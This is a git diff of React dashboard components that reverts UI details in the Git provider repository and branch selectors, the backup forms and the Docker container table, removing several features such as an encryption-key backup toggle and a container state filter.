@@ -299,8 +292,8 @@ export const SaveBitbucketProvider = ({ applicationId }: Props) => {
form.setValue("branch", "");
}}
>
<span className="flex min-w-0 items-center gap-2">
<span className="truncate">{repo.name}</span>
<span className="flex items-center gap-2">
<span>{repo.name}</span>
<span className="text-muted-foreground text-xs">
{repo.owner.username}
</span>
@@ -308,8 +301,7 @@ export const SaveBitbucketProvider = ({ applicationId }: Props) => {
<CheckIcon
className={cn(
"ml-auto h-4 w-4",
repo.name === field.value.repo &&
repo.owner.username === field.value.owner
repo.name === field.value.repo
? "opacity-100"
: "opacity-0",
)}
@@ -341,7 +333,7 @@ export const SaveBitbucketProvider = ({ applicationId }: Props) => {
<Button
variant="outline"
className={cn(
" w-full justify-between",
" w-full justify-between bg-input!",
!field.value && "text-muted-foreground",
)}
>
@@ -356,10 +348,7 @@ export const SaveBitbucketProvider = ({ applicationId }: Props) => {
</Button>
</FormControl>
</PopoverTrigger>
<PopoverContent
className="w-[var(--radix-popover-trigger-width)] p-0"
align="start"
>
<PopoverContent className="p-0" align="start">
<Command>
<CommandInput
placeholder="Search branch..."
@@ -387,7 +376,7 @@ export const SaveBitbucketProvider = ({ applicationId }: Props) => {
form.setValue("branch", branch.name);
}}
>
<span className="truncate">{branch.name}</span>
{branch.name}
<CheckIcon
className={cn(
"ml-auto h-4 w-4",

View File

@@ -201,9 +201,6 @@ export const SaveGiteaProvider = ({ applicationId }: Props) => {
<FormLabel>Gitea Account</FormLabel>
<Select
onValueChange={(value) => {
if (!value) {
return;
}
field.onChange(value);
form.setValue("repository", {
owner: "",
@@ -211,6 +208,7 @@ export const SaveGiteaProvider = ({ applicationId }: Props) => {
});
form.setValue("branch", "");
}}
defaultValue={field.value}
value={field.value}
>
<FormControl>
@@ -260,7 +258,7 @@ export const SaveGiteaProvider = ({ applicationId }: Props) => {
<Button
variant="outline"
className={cn(
"w-full justify-between",
"w-full justify-between bg-input!",
!field.value && "text-muted-foreground",
)}
>
@@ -270,18 +268,14 @@ export const SaveGiteaProvider = ({ applicationId }: Props) => {
? "Loading...."
: (repositories?.find(
(repo: GiteaRepository) =>
repo.name === field.value.repo &&
repo.owner.username === field.value.owner,
repo.name === field.value.repo,
)?.name ?? "Select repository")}
<ChevronsUpDown className="ml-2 h-4 w-4 shrink-0 opacity-50" />
</Button>
</FormControl>
</PopoverTrigger>
<PopoverContent
className="w-[var(--radix-popover-trigger-width)] p-0"
align="start"
>
<PopoverContent className="p-0" align="start">
<Command>
<CommandInput
placeholder="Search repository..."
@@ -307,7 +301,7 @@ export const SaveGiteaProvider = ({ applicationId }: Props) => {
{repositories?.map((repo: GiteaRepository) => {
return (
<CommandItem
value={`${repo.owner.username}/${repo.name}`}
value={repo.name}
key={repo.url}
onSelect={() => {
form.setValue("repository", {
@@ -317,10 +311,8 @@ export const SaveGiteaProvider = ({ applicationId }: Props) => {
form.setValue("branch", "");
}}
>
<span className="flex min-w-0 items-center gap-2">
<span className="truncate">
{repo.name}
</span>
<span className="flex items-center gap-2">
<span>{repo.name}</span>
<span className="text-muted-foreground text-xs">
{repo.owner.username}
</span>
@@ -328,9 +320,7 @@ export const SaveGiteaProvider = ({ applicationId }: Props) => {
<CheckIcon
className={cn(
"ml-auto h-4 w-4",
repo.name === field.value.repo &&
repo.owner.username ===
field.value.owner
repo.name === field.value.repo
? "opacity-100"
: "opacity-0",
)}
@@ -363,7 +353,7 @@ export const SaveGiteaProvider = ({ applicationId }: Props) => {
<Button
variant="outline"
className={cn(
" w-full justify-between",
" w-full justify-between bg-input!",
!field.value && "text-muted-foreground",
)}
>
@@ -379,10 +369,7 @@ export const SaveGiteaProvider = ({ applicationId }: Props) => {
</Button>
</FormControl>
</PopoverTrigger>
<PopoverContent
className="w-[var(--radix-popover-trigger-width)] p-0"
align="start"
>
<PopoverContent className="p-0" align="start">
<Command>
<CommandInput
placeholder="Search branch..."
@@ -413,7 +400,7 @@ export const SaveGiteaProvider = ({ applicationId }: Props) => {
form.setValue("branch", branch.name);
}}
>
<span className="truncate">{branch.name}</span>
{branch.name}
<CheckIcon
className={cn(
"ml-auto h-4 w-4",

View File

@@ -177,9 +177,6 @@ export const SaveGithubProvider = ({ applicationId }: Props) => {
<FormLabel>Github Account</FormLabel>
<Select
onValueChange={(value) => {
if (!value) {
return;
}
field.onChange(value);
form.setValue("repository", {
owner: "",
@@ -192,14 +189,7 @@ export const SaveGithubProvider = ({ applicationId }: Props) => {
>
<FormControl>
<SelectTrigger>
<SelectValue placeholder="Select a Github Account">
{
githubProviders?.find(
(githubProvider) =>
githubProvider.githubId === field.value,
)?.gitProvider.name
}
</SelectValue>
<SelectValue placeholder="Select a Github Account" />
</SelectTrigger>
</FormControl>
<SelectContent>
@@ -243,7 +233,7 @@ export const SaveGithubProvider = ({ applicationId }: Props) => {
<Button
variant="outline"
className={cn(
"w-full justify-between",
"w-full justify-between bg-input!",
!field.value && "text-muted-foreground",
)}
>
@@ -252,19 +242,14 @@ export const SaveGithubProvider = ({ applicationId }: Props) => {
: isLoadingRepositories
? "Loading...."
: (repositories?.find(
(repo) =>
repo.name === field.value.repo &&
repo.owner.login === field.value.owner,
)?.name ?? field.value.repo)}
(repo) => repo.name === field.value.repo,
)?.name ?? "Select repository")}
<ChevronsUpDown className="ml-2 h-4 w-4 shrink-0 opacity-50" />
</Button>
</FormControl>
</PopoverTrigger>
<PopoverContent
className="w-[var(--radix-popover-trigger-width)] p-0"
align="start"
>
<PopoverContent className="p-0" align="start">
<Command>
<CommandInput
placeholder="Search repository..."
@@ -284,7 +269,7 @@ export const SaveGithubProvider = ({ applicationId }: Props) => {
<CommandGroup>
{repositories?.map((repo) => (
<CommandItem
value={`${repo.owner.login}/${repo.name}`}
value={repo.name}
key={repo.url}
onSelect={() => {
form.setValue("repository", {
@@ -294,8 +279,8 @@ export const SaveGithubProvider = ({ applicationId }: Props) => {
form.setValue("branch", "");
}}
>
<span className="flex min-w-0 items-center gap-2">
<span className="truncate">{repo.name}</span>
<span className="flex items-center gap-2">
<span>{repo.name}</span>
<span className="text-muted-foreground text-xs">
{repo.owner.login}
</span>
@@ -303,8 +288,7 @@ export const SaveGithubProvider = ({ applicationId }: Props) => {
<CheckIcon
className={cn(
"ml-auto h-4 w-4",
repo.name === field.value.repo &&
repo.owner.login === field.value.owner
repo.name === field.value.repo
? "opacity-100"
: "opacity-0",
)}
@@ -336,25 +320,22 @@ export const SaveGithubProvider = ({ applicationId }: Props) => {
<Button
variant="outline"
className={cn(
" w-full justify-between",
" w-full justify-between bg-input!",
!field.value && "text-muted-foreground",
)}
>
{status === "pending" && fetchStatus === "fetching"
? "Loading...."
: field.value
? (branches?.find(
? branches?.find(
(branch) => branch.name === field.value,
)?.name ?? field.value)
)?.name
: "Select branch"}
<ChevronsUpDown className="ml-2 h-4 w-4 shrink-0 opacity-50" />
</Button>
</FormControl>
</PopoverTrigger>
<PopoverContent
className="w-[var(--radix-popover-trigger-width)] p-0"
align="start"
>
<PopoverContent className="p-0" align="start">
<Command>
<CommandInput
placeholder="Search branch..."
@@ -382,7 +363,7 @@ export const SaveGithubProvider = ({ applicationId }: Props) => {
form.setValue("branch", branch.name);
}}
>
<span className="truncate">{branch.name}</span>
{branch.name}
<CheckIcon
className={cn(
"ml-auto h-4 w-4",

View File

@@ -196,9 +196,6 @@ export const SaveGitlabProvider = ({ applicationId }: Props) => {
<FormLabel>Gitlab Account</FormLabel>
<Select
onValueChange={(value) => {
if (!value) {
return;
}
field.onChange(value);
form.setValue("repository", {
owner: "",
@@ -208,6 +205,7 @@ export const SaveGitlabProvider = ({ applicationId }: Props) => {
});
form.setValue("branch", "");
}}
defaultValue={field.value}
value={field.value}
>
<FormControl>
@@ -256,7 +254,7 @@ export const SaveGitlabProvider = ({ applicationId }: Props) => {
<Button
variant="outline"
className={cn(
"w-full justify-between",
"w-full justify-between bg-input!",
!field.value && "text-muted-foreground",
)}
>
@@ -272,10 +270,7 @@ export const SaveGitlabProvider = ({ applicationId }: Props) => {
</Button>
</FormControl>
</PopoverTrigger>
<PopoverContent
className="w-[var(--radix-popover-trigger-width)] p-0"
align="start"
>
<PopoverContent className="p-0" align="start">
<Command>
<CommandInput
placeholder="Search repository..."
@@ -313,10 +308,8 @@ export const SaveGitlabProvider = ({ applicationId }: Props) => {
form.setValue("branch", "");
}}
>
<span className="flex min-w-0 items-center gap-2">
<span className="truncate">
{repo.name}
</span>
<span className="flex items-center gap-2">
<span>{repo.name}</span>
<span className="text-muted-foreground text-xs">
{repo.owner.username}
</span>
@@ -358,7 +351,7 @@ export const SaveGitlabProvider = ({ applicationId }: Props) => {
<Button
variant="outline"
className={cn(
" w-full justify-between",
" w-full justify-between bg-input!",
!field.value && "text-muted-foreground",
)}
>
@@ -373,10 +366,7 @@ export const SaveGitlabProvider = ({ applicationId }: Props) => {
</Button>
</FormControl>
</PopoverTrigger>
<PopoverContent
className="w-[var(--radix-popover-trigger-width)] p-0"
align="start"
>
<PopoverContent className="p-0" align="start">
<Command>
<CommandInput
placeholder="Search branch..."
@@ -404,7 +394,7 @@ export const SaveGitlabProvider = ({ applicationId }: Props) => {
form.setValue("branch", branch.name);
}}
>
<span className="truncate">{branch.name}</span>
{branch.name}
<CheckIcon
className={cn(
"ml-auto h-4 w-4",

View File

@@ -1,3 +1,4 @@
import { Tooltip as TooltipPrimitive } from "radix-ui";
import {
Ban,
CheckCircle2,
@@ -7,7 +8,6 @@ import {
Terminal,
} from "lucide-react";
import { useRouter } from "next/router";
import { Tooltip as TooltipPrimitive } from "radix-ui";
import { toast } from "sonner";
import { ShowBuildChooseForm } from "@/components/dashboard/application/build/show";
import { ShowProviderForm } from "@/components/dashboard/application/general/generic/show";

View File

@@ -1,3 +1,4 @@
import { Tooltip as TooltipPrimitive } from "radix-ui";
import {
ExternalLink,
FileText,
@@ -8,7 +9,6 @@ import {
RocketIcon,
Trash2,
} from "lucide-react";
import { Tooltip as TooltipPrimitive } from "radix-ui";
import { toast } from "sonner";
import { GithubIcon } from "@/components/icons/data-tools-icons";
import { DateTooltip } from "@/components/shared/date-tooltip";

View File

@@ -531,7 +531,7 @@ export const HandleSchedules = ({ id, scheduleId, scheduleType }: Props) => {
<Button
variant="outline"
className={cn(
"w-full justify-between",
"w-full justify-between bg-input!",
!field.value && "text-muted-foreground",
)}
>

View File

@@ -507,20 +507,11 @@ export const HandleVolumeBackups = ({
</SelectTrigger>
</FormControl>
<SelectContent>
{mounts && mounts.length > 0 ? (
mounts.map((mount) => (
<SelectItem
key={mount.Name}
value={mount.Name || ""}
>
{mount.Name}
</SelectItem>
))
) : (
<SelectItem value="none" disabled>
No volumes found
{mounts?.map((mount) => (
<SelectItem key={mount.Name} value={mount.Name || ""}>
{mount.Name}
</SelectItem>
)}
))}
</SelectContent>
</Select>
<FormDescription>

View File

@@ -181,7 +181,7 @@ export const RestoreVolumeBackups = ({ id, type, serverId }: Props) => {
<Button
variant="outline"
className={cn(
"w-full justify-between",
"w-full justify-between bg-input!",
!field.value && "text-muted-foreground",
)}
>
@@ -263,7 +263,7 @@ export const RestoreVolumeBackups = ({ id, type, serverId }: Props) => {
<Button
variant="outline"
className={cn(
"w-full justify-between",
"w-full justify-between bg-input!",
!field.value && "text-muted-foreground",
)}
>

View File

@@ -1,6 +1,6 @@
import { Tooltip as TooltipPrimitive } from "radix-ui";
import { Ban, CheckCircle2, RefreshCcw, Rocket, Terminal } from "lucide-react";
import { useRouter } from "next/router";
import { Tooltip as TooltipPrimitive } from "radix-ui";
import { toast } from "sonner";
import { DialogAction } from "@/components/shared/dialog-action";
import { Button } from "@/components/ui/button";

View File

@@ -190,9 +190,6 @@ export const SaveBitbucketProviderCompose = ({ composeId }: Props) => {
<FormLabel>Bitbucket Account</FormLabel>
<Select
onValueChange={(value) => {
if (!value) {
return;
}
field.onChange(value);
form.setValue("repository", {
owner: "",
@@ -201,6 +198,7 @@ export const SaveBitbucketProviderCompose = ({ composeId }: Props) => {
});
form.setValue("branch", "");
}}
defaultValue={field.value}
value={field.value}
>
<FormControl>
@@ -249,7 +247,7 @@ export const SaveBitbucketProviderCompose = ({ composeId }: Props) => {
<Button
variant="outline"
className={cn(
"w-full justify-between",
"w-full justify-between bg-input!",
!field.value && "text-muted-foreground",
)}
>
@@ -258,19 +256,14 @@ export const SaveBitbucketProviderCompose = ({ composeId }: Props) => {
: isLoadingRepositories
? "Loading...."
: (repositories?.find(
(repo) =>
repo.name === field.value.repo &&
repo.owner.username === field.value.owner,
(repo) => repo.name === field.value.repo,
)?.name ?? "Select repository")}
<ChevronsUpDown className="ml-2 h-4 w-4 shrink-0 opacity-50" />
</Button>
</FormControl>
</PopoverTrigger>
<PopoverContent
className="w-[var(--radix-popover-trigger-width)] p-0"
align="start"
>
<PopoverContent className="p-0" align="start">
<Command>
<CommandInput
placeholder="Search repository..."
@@ -290,7 +283,7 @@ export const SaveBitbucketProviderCompose = ({ composeId }: Props) => {
<CommandGroup>
{repositories?.map((repo) => (
<CommandItem
value={`${repo.owner.username}/${repo.name}`}
value={repo.name}
key={repo.url}
onSelect={() => {
form.setValue("repository", {
@@ -301,8 +294,8 @@ export const SaveBitbucketProviderCompose = ({ composeId }: Props) => {
form.setValue("branch", "");
}}
>
<span className="flex min-w-0 items-center gap-2">
<span className="truncate">{repo.name}</span>
<span className="flex items-center gap-2">
<span>{repo.name}</span>
<span className="text-muted-foreground text-xs">
{repo.owner.username}
</span>
@@ -310,8 +303,7 @@ export const SaveBitbucketProviderCompose = ({ composeId }: Props) => {
<CheckIcon
className={cn(
"ml-auto h-4 w-4",
repo.name === field.value.repo &&
repo.owner.username === field.value.owner
repo.name === field.value.repo
? "opacity-100"
: "opacity-0",
)}
@@ -343,7 +335,7 @@ export const SaveBitbucketProviderCompose = ({ composeId }: Props) => {
<Button
variant="outline"
className={cn(
" w-full justify-between",
" w-full justify-between bg-input!",
!field.value && "text-muted-foreground",
)}
>
@@ -358,10 +350,7 @@ export const SaveBitbucketProviderCompose = ({ composeId }: Props) => {
</Button>
</FormControl>
</PopoverTrigger>
<PopoverContent
className="w-[var(--radix-popover-trigger-width)] p-0"
align="start"
>
<PopoverContent className="p-0" align="start">
<Command>
<CommandInput
placeholder="Search branch..."
@@ -389,7 +378,7 @@ export const SaveBitbucketProviderCompose = ({ composeId }: Props) => {
form.setValue("branch", branch.name);
}}
>
<span className="truncate">{branch.name}</span>
{branch.name}
<CheckIcon
className={cn(
"ml-auto h-4 w-4",

View File

@@ -188,9 +188,6 @@ export const SaveGiteaProviderCompose = ({ composeId }: Props) => {
<FormLabel>Gitea Account</FormLabel>
<Select
onValueChange={(value) => {
if (!value) {
return;
}
field.onChange(value);
form.setValue("repository", {
owner: "",
@@ -198,6 +195,7 @@ export const SaveGiteaProviderCompose = ({ composeId }: Props) => {
});
form.setValue("branch", "");
}}
defaultValue={field.value}
value={field.value}
>
<FormControl>
@@ -246,7 +244,7 @@ export const SaveGiteaProviderCompose = ({ composeId }: Props) => {
<Button
variant="outline"
className={cn(
"w-full justify-between",
"w-full justify-between bg-input!",
!field.value && "text-muted-foreground",
)}
>
@@ -255,18 +253,13 @@ export const SaveGiteaProviderCompose = ({ composeId }: Props) => {
: isLoadingRepositories
? "Loading...."
: (repositories?.find(
(repo) =>
repo.name === field.value.repo &&
repo.owner.username === field.value.owner,
(repo) => repo.name === field.value.repo,
)?.name ?? "Select repository")}
<ChevronsUpDown className="ml-2 h-4 w-4 shrink-0 opacity-50" />
</Button>
</FormControl>
</PopoverTrigger>
<PopoverContent
className="w-[var(--radix-popover-trigger-width)] p-0"
align="start"
>
<PopoverContent className="p-0" align="start">
<Command>
<CommandInput
placeholder="Search repository..."
@@ -287,7 +280,7 @@ export const SaveGiteaProviderCompose = ({ composeId }: Props) => {
{repositories?.map((repo) => (
<CommandItem
key={repo.url}
value={`${repo.owner.username}/${repo.name}`}
value={repo.name}
onSelect={() => {
form.setValue("repository", {
owner: repo.owner.username,
@@ -296,8 +289,8 @@ export const SaveGiteaProviderCompose = ({ composeId }: Props) => {
form.setValue("branch", "");
}}
>
<span className="flex min-w-0 items-center gap-2">
<span className="truncate">{repo.name}</span>
<span className="flex items-center gap-2">
<span>{repo.name}</span>
<span className="text-muted-foreground text-xs">
{repo.owner.username}
</span>
@@ -305,8 +298,7 @@ export const SaveGiteaProviderCompose = ({ composeId }: Props) => {
<CheckIcon
className={cn(
"ml-auto h-4 w-4",
repo.name === field.value.repo &&
repo.owner.username === field.value.owner
repo.name === field.value.repo
? "opacity-100"
: "opacity-0",
)}
@@ -339,7 +331,7 @@ export const SaveGiteaProviderCompose = ({ composeId }: Props) => {
<Button
variant="outline"
className={cn(
"w-full justify-between",
"w-full justify-between bg-input!",
!field.value && "text-muted-foreground",
)}
>
@@ -354,10 +346,7 @@ export const SaveGiteaProviderCompose = ({ composeId }: Props) => {
</Button>
</FormControl>
</PopoverTrigger>
<PopoverContent
className="w-[var(--radix-popover-trigger-width)] p-0"
align="start"
>
<PopoverContent className="p-0" align="start">
<Command>
<CommandInput
placeholder="Search branches..."
@@ -374,10 +363,8 @@ export const SaveGiteaProviderCompose = ({ composeId }: Props) => {
form.setValue("branch", branch.name)
}
>
<span className="flex min-w-0 items-center gap-2">
<span className="truncate">
{branch.name}
</span>
<span className="flex items-center gap-2">
{branch.name}
</span>
<CheckIcon
className={cn(

View File

@@ -138,7 +138,7 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => {
enableSubmodules: data.enableSubmodules ?? false,
});
}
}, [form.reset, data]);
}, [form.reset, data?.composeId, form]);
const onSubmit = async (data: GithubProvider) => {
await mutateAsync({
@@ -179,9 +179,6 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => {
<FormLabel>Github Account</FormLabel>
<Select
onValueChange={(value) => {
if (!value) {
return;
}
field.onChange(value);
form.setValue("repository", {
owner: "",
@@ -189,6 +186,7 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => {
});
form.setValue("branch", "");
}}
defaultValue={field.value}
value={field.value}
>
<FormControl>
@@ -236,7 +234,7 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => {
<Button
variant="outline"
className={cn(
"w-full justify-between",
"w-full justify-between bg-input!",
!field.value && "text-muted-foreground",
)}
>
@@ -245,19 +243,14 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => {
: isLoadingRepositories
? "Loading...."
: (repositories?.find(
(repo) =>
repo.name === field.value.repo &&
repo.owner.login === field.value.owner,
)?.name ?? field.value.repo)}
(repo) => repo.name === field.value.repo,
)?.name ?? "Select repository")}
<ChevronsUpDown className="ml-2 h-4 w-4 shrink-0 opacity-50" />
</Button>
</FormControl>
</PopoverTrigger>
<PopoverContent
className="w-[var(--radix-popover-trigger-width)] p-0"
align="start"
>
<PopoverContent className="p-0" align="start">
<Command>
<CommandInput
placeholder="Search repository..."
@@ -277,7 +270,7 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => {
<CommandGroup>
{repositories?.map((repo) => (
<CommandItem
value={`${repo.owner.login}/${repo.name}`}
value={repo.name}
key={repo.url}
onSelect={() => {
form.setValue("repository", {
@@ -287,8 +280,8 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => {
form.setValue("branch", "");
}}
>
<span className="flex min-w-0 items-center gap-2">
<span className="truncate">{repo.name}</span>
<span className="flex items-center gap-2">
<span>{repo.name}</span>
<span className="text-muted-foreground text-xs">
{repo.owner.login}
</span>
@@ -296,8 +289,7 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => {
<CheckIcon
className={cn(
"ml-auto h-4 w-4",
repo.name === field.value.repo &&
repo.owner.login === field.value.owner
repo.name === field.value.repo
? "opacity-100"
: "opacity-0",
)}
@@ -329,25 +321,22 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => {
<Button
variant="outline"
className={cn(
" w-full justify-between",
" w-full justify-between bg-input!",
!field.value && "text-muted-foreground",
)}
>
{status === "pending" && fetchStatus === "fetching"
? "Loading...."
: field.value
? (branches?.find(
? branches?.find(
(branch) => branch.name === field.value,
)?.name ?? field.value)
)?.name
: "Select branch"}
<ChevronsUpDown className="ml-2 h-4 w-4 shrink-0 opacity-50" />
</Button>
</FormControl>
</PopoverTrigger>
<PopoverContent
className="w-[var(--radix-popover-trigger-width)] p-0"
align="start"
>
<PopoverContent className="p-0" align="start">
<Command>
<CommandInput
placeholder="Search branch..."
@@ -375,7 +364,7 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => {
form.setValue("branch", branch.name);
}}
>
<span className="truncate">{branch.name}</span>
{branch.name}
<CheckIcon
className={cn(
"ml-auto h-4 w-4",

View File

@@ -199,9 +199,6 @@ export const SaveGitlabProviderCompose = ({ composeId }: Props) => {
<FormLabel>Gitlab Account</FormLabel>
<Select
onValueChange={(value) => {
if (!value) {
return;
}
field.onChange(value);
form.setValue("repository", {
owner: "",
@@ -211,6 +208,7 @@ export const SaveGitlabProviderCompose = ({ composeId }: Props) => {
});
form.setValue("branch", "");
}}
defaultValue={field.value}
value={field.value}
>
<FormControl>
@@ -258,7 +256,7 @@ export const SaveGitlabProviderCompose = ({ composeId }: Props) => {
<Button
variant="outline"
className={cn(
"w-full justify-between",
"w-full justify-between bg-input!",
!field.value && "text-muted-foreground",
)}
>
@@ -274,10 +272,7 @@ export const SaveGitlabProviderCompose = ({ composeId }: Props) => {
</Button>
</FormControl>
</PopoverTrigger>
<PopoverContent
className="w-[var(--radix-popover-trigger-width)] p-0"
align="start"
>
<PopoverContent className="p-0" align="start">
<Command>
<CommandInput
placeholder="Search repository..."
@@ -315,10 +310,8 @@ export const SaveGitlabProviderCompose = ({ composeId }: Props) => {
form.setValue("branch", "");
}}
>
<span className="flex min-w-0 items-center gap-2">
<span className="truncate">
{repo.name}
</span>
<span className="flex items-center gap-2">
<span>{repo.name}</span>
<span className="text-muted-foreground text-xs">
{repo.owner.username}
</span>
@@ -360,7 +353,7 @@ export const SaveGitlabProviderCompose = ({ composeId }: Props) => {
<Button
variant="outline"
className={cn(
" w-full justify-between",
" w-full justify-between bg-input!",
!field.value && "text-muted-foreground",
)}
>
@@ -375,10 +368,7 @@ export const SaveGitlabProviderCompose = ({ composeId }: Props) => {
</Button>
</FormControl>
</PopoverTrigger>
<PopoverContent
className="w-[var(--radix-popover-trigger-width)] p-0"
align="start"
>
<PopoverContent className="p-0" align="start">
<Command>
<CommandInput
placeholder="Search branch..."
@@ -406,7 +396,7 @@ export const SaveGitlabProviderCompose = ({ composeId }: Props) => {
form.setValue("branch", branch.name);
}}
>
<span className="truncate">{branch.name}</span>
{branch.name}
<CheckIcon
className={cn(
"ml-auto h-4 w-4",

View File

@@ -79,7 +79,6 @@ const Schema = z
schedule: z.string().min(1, "Schedule (Cron) required"),
prefix: z.string().min(1, "Prefix required"),
enabled: z.boolean(),
includeEncryptionKey: z.boolean(),
database: z.string().min(1, "Database required"),
keepLatestCount: z.coerce.number().optional(),
serviceName: z.string().nullable(),
@@ -224,7 +223,6 @@ export const HandleBackup = ({
: "",
destinationId: "",
enabled: true,
includeEncryptionKey: true,
prefix: "/",
schedule: "",
keepLatestCount: undefined,
@@ -264,7 +262,6 @@ export const HandleBackup = ({
: "",
destinationId: backup?.destinationId ?? "",
enabled: backup?.enabled ?? true,
includeEncryptionKey: backup?.includeEncryptionKey ?? true,
prefix: backup?.prefix ?? "/",
schedule: backup?.schedule ?? "",
keepLatestCount: backup?.keepLatestCount ?? undefined,
@@ -312,7 +309,6 @@ export const HandleBackup = ({
prefix: data.prefix,
schedule: data.schedule,
enabled: data.enabled,
includeEncryptionKey: data.includeEncryptionKey,
database: data.database,
keepLatestCount: data.keepLatestCount ?? null,
databaseType: data.databaseType || databaseType,
@@ -413,7 +409,7 @@ export const HandleBackup = ({
<Button
variant="outline"
className={cn(
"w-full justify-between",
"w-full justify-between bg-input!",
!field.value && "text-muted-foreground",
)}
>
@@ -669,31 +665,6 @@ export const HandleBackup = ({
</FormItem>
)}
/>
{databaseType === "web-server" && (
<FormField
control={form.control}
name="includeEncryptionKey"
render={({ field }) => (
<FormItem className="flex flex-row items-center justify-between rounded-lg border p-3 ">
<div className="space-y-0.5">
<FormLabel>Include encryption key</FormLabel>
<FormDescription>
Stores the encryption key inside the backup so
environment variables can be restored on a new server.
Anyone with access to the backup file can decrypt
them.
</FormDescription>
</div>
<FormControl>
<Switch
checked={field.value}
onCheckedChange={field.onChange}
/>
</FormControl>
</FormItem>
)}
/>
)}
{backupType === "compose" && (
<>
{form.watch("databaseType") === "postgres" && (

View File

@@ -345,7 +345,7 @@ export const RestoreBackup = ({
<Button
variant="outline"
className={cn(
"w-full justify-between",
"w-full justify-between bg-input!",
!field.value && "text-muted-foreground",
)}
>
@@ -427,7 +427,7 @@ export const RestoreBackup = ({
<Button
variant="outline"
className={cn(
"w-full justify-between",
"w-full justify-between bg-input!",
!field.value && "text-muted-foreground",
)}
>

View File

@@ -1,13 +1,10 @@
import type { ColumnDef } from "@tanstack/react-table";
import copy from "copy-to-clipboard";
import { ArrowUpDown, MoreHorizontal } from "lucide-react";
import { toast } from "sonner";
import { Badge } from "@/components/ui/badge";
import { Button } from "@/components/ui/button";
import {
DropdownMenu,
DropdownMenuContent,
DropdownMenuItem,
DropdownMenuLabel,
DropdownMenuTrigger,
} from "@/components/ui/dropdown-menu";
@@ -40,7 +37,6 @@ export const columns: ColumnDef<Container>[] = [
},
{
accessorKey: "state",
filterFn: "equals",
header: ({ column }) => {
return (
<Button
@@ -60,7 +56,7 @@ export const columns: ColumnDef<Container>[] = [
variant={
value === "running"
? "default"
: value === "exited" || value === "dead"
: value === "failed"
? "destructive"
: "secondary"
}
@@ -103,28 +99,6 @@ export const columns: ColumnDef<Container>[] = [
},
cell: ({ row }) => <div className="lowercase">{row.getValue("image")}</div>,
},
{
accessorKey: "ports",
header: ({ column }) => {
return (
<Button
variant="ghost"
onClick={() => column.toggleSorting(column.getIsSorted() === "asc")}
>
Ports
<ArrowUpDown className="ml-2 h-4 w-4" />
</Button>
);
},
cell: ({ row }) => {
const value = row.getValue("ports") as string;
return (
<div className="max-w-[16rem] truncate lowercase" title={value}>
{value}
</div>
);
},
},
{
id: "actions",
enableHiding: false,
@@ -141,14 +115,6 @@ export const columns: ColumnDef<Container>[] = [
</DropdownMenuTrigger>
<DropdownMenuContent align="end">
<DropdownMenuLabel>Actions</DropdownMenuLabel>
<DropdownMenuItem
onClick={() => {
copy(container.containerId);
toast.success("Container ID copied to clipboard");
}}
>
Copy Container ID
</DropdownMenuItem>
<ShowDockerModalLogs
containerId={container.containerId}
serverId={container.serverId}

View File

@@ -9,7 +9,7 @@ import {
useReactTable,
type VisibilityState,
} from "@tanstack/react-table";
import { ChevronDown, Container, RefreshCw } from "lucide-react";
import { ChevronDown, Container } from "lucide-react";
import * as React from "react";
import { Button } from "@/components/ui/button";
import {
@@ -26,13 +26,6 @@ import {
DropdownMenuTrigger,
} from "@/components/ui/dropdown-menu";
import { Input } from "@/components/ui/input";
import {
Select,
SelectContent,
SelectItem,
SelectTrigger,
SelectValue,
} from "@/components/ui/select";
import {
Table,
TableBody,
@@ -51,26 +44,10 @@ interface Props {
serverId?: string;
}
const CONTAINER_STATES = [
"running",
"exited",
"paused",
"restarting",
"created",
"removing",
"dead",
];
export const ShowContainers = ({ serverId }: Props) => {
const { data, isPending, refetch, isRefetching } =
api.docker.getContainers.useQuery(
{
serverId,
},
{
refetchInterval: 10_000,
},
);
const { data, isPending } = api.docker.getContainers.useQuery({
serverId,
});
const [sorting, setSorting] = React.useState<SortingState>([]);
const [columnFilters, setColumnFilters] = React.useState<ColumnFiltersState>(
@@ -129,48 +106,12 @@ export const ShowContainers = ({ serverId }: Props) => {
}
className="md:max-w-sm"
/>
<Select
value={
(table.getColumn("state")?.getFilterValue() as string) ??
"all"
}
onValueChange={(value) =>
table
.getColumn("state")
?.setFilterValue(value === "all" ? undefined : value)
}
>
<SelectTrigger className="w-40 max-sm:w-full capitalize">
<SelectValue placeholder="Filter by state" />
</SelectTrigger>
<SelectContent>
<SelectItem value="all">All states</SelectItem>
{CONTAINER_STATES.map((state) => (
<SelectItem
key={state}
value={state}
className="capitalize"
>
{state}
</SelectItem>
))}
</SelectContent>
</Select>
<Button
variant="outline"
size="icon"
className="shrink-0 sm:ml-auto"
onClick={() => refetch()}
disabled={isRefetching}
>
<RefreshCw
className={`h-4 w-4 ${isRefetching ? "animate-spin" : ""}`}
/>
<span className="sr-only">Refresh</span>
</Button>
<DropdownMenu>
<DropdownMenuTrigger asChild>
<Button variant="outline" className="max-sm:w-full">
<Button
variant="outline"
className="sm:ml-auto max-sm:w-full"
>
Columns <ChevronDown className="ml-2 h-4 w-4" />
</Button>
</DropdownMenuTrigger>

View File

@@ -1,5 +1,5 @@
import { Ban, CheckCircle2, RefreshCcw, Rocket, Terminal } from "lucide-react";
import { Tooltip as TooltipPrimitive } from "radix-ui";
import { Ban, CheckCircle2, RefreshCcw, Rocket, Terminal } from "lucide-react";
import { useState } from "react";
import { toast } from "sonner";
import { DialogAction } from "@/components/shared/dialog-action";

View File

@@ -28,7 +28,7 @@ export const ShowInternalLibsqlCredentials = ({ libsqlId }: Props) => {
<div className="grid w-full md:grid-cols-2 gap-4 md:gap-8">
<div className="flex flex-col gap-2">
<Label>User</Label>
<Input enableCopyButton disabled value={data?.databaseUser} />
<Input disabled value={data?.databaseUser} />
</div>
<div className="flex flex-col gap-2">
<Label>Sqld Node</Label>
@@ -71,7 +71,7 @@ export const ShowInternalLibsqlCredentials = ({ libsqlId }: Props) => {
</div>
<div className="flex flex-col gap-2">
<Label>Internal Host</Label>
<Input enableCopyButton disabled value={data?.appName} />
<Input disabled value={data?.appName} />
</div>
